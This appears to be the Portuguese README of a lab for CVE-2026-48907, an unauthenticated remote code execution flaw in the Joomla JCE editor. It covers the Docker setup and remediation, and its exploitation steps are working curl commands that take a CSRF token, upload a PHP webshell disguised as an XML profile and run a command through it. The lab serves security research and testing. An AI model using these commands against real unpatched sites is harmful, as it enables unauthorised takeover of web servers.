CVE-2026-48907 — Laboratório de RCE não autenticado no Joomla JCE

PSsec Laboratório educacional de pesquisa em segurança para CVE-2026-48907.

Visão Geral

CVE-2026-48907 é uma vulnerabilidade crítica (CVSS 10.0) de execução remota de código não autenticado no JCE (Joomla Content Editor), a extensão de editor mais amplamente instalada para Joomla, afetando todas as versões ≤ 2.9.99.4.

O endpoint profiles.import aceita uploads de arquivos sem nenhuma autenticação. Um atacante pode enviar um arquivo PHP malicioso disfarçado de perfil XML, que é escrito no diretório tmp/ do servidor e executado diretamente via HTTP — nenhuma credencial necessária.

Configuração do Laboratório

Pré-requisitos

• Docker + Docker Compose
• Kali Linux (ou qualquer host Linux)

1. Inicie o ambiente vulnerável

docker compose up -d

2. Conclua o instalador do Joomla

Abra http://localhost:8080 no seu navegador e complete o assistente de configuração usando estas credenciais:

3. Instale a extensão JCE vulnerável

wget https://github.com/widgetfactory/jce/releases/download/2.9.99.4/pkg_jce_29994.zip

Em seguida, no Admin do Joomla → Sistema → Extensões → Instalar → faça upload do ZIP.

Exploração

4. Extraia o token CSRF e o cookie de sessão

URL=http://localhost:8080
TOKEN=$(curl -s -c cookies.txt "$URL/" \
  | sed -n 's/.*"csrf\.token"[[:space:]]*:[[:space:]]*"\([a-f0-9]\{32\}\)".*/\1/p; s/.*name="\([a-f0-9]\{32\}\)"[^>]*value="1".*/\1/p' \
  | head -n1)

5. Faça upload do webshell PHP via importação de perfil não autenticada

curl -i -s -b cookies.txt -c cookies.txt \
  -F "[email protected];type=application/xml" \
  -F "task=profiles.import" \
  -F "${TOKEN}=1" \
  "$URL/index.php?option=com_jce"

6. Verifique a execução remota de código

curl -i -s -b cookies.txt -c cookies.txt \
  "$URL/tmp/shell.xml.php?cmd=id"

Saída esperada: uid=33(www-data) gid=33(www-data)

Arquivos

Remediação

Atualize o JCE para versão 2.9.99.5 ou superior imediatamente.

Aviso oficial do fornecedor e patch gratuito para versões antigas do Joomla: Atualização de Segurança do JCE — joomlacontenteditor.net

Créditos

• Referência de ferramentas de exploração: JoomlaSniper por ynsmroztas
• Vulnerabilidade descoberta em campo por Phil Taylor da mySites.guru
• Listagem CISA KEV: 16 de junho de 2026

Aviso Legal

Este repositório é destinado estritamente para fins educacionais e de pesquisa de segurança autorizada.

Os testes devem ser realizados apenas em sistemas que você possui ou tem permissão explícita por escrito para testar. O uso não autorizado deste material contra sistemas que você não possui é ilegal e antiético. Os autores e a Pansophical OU não aceitam nenhuma responsabilidade pelo uso indevido deste conteúdo.

Este ambiente de laboratório é intencionalmente vulnerável. Não o exponha à internet ou a qualquer rede não confiável.

Por PSsec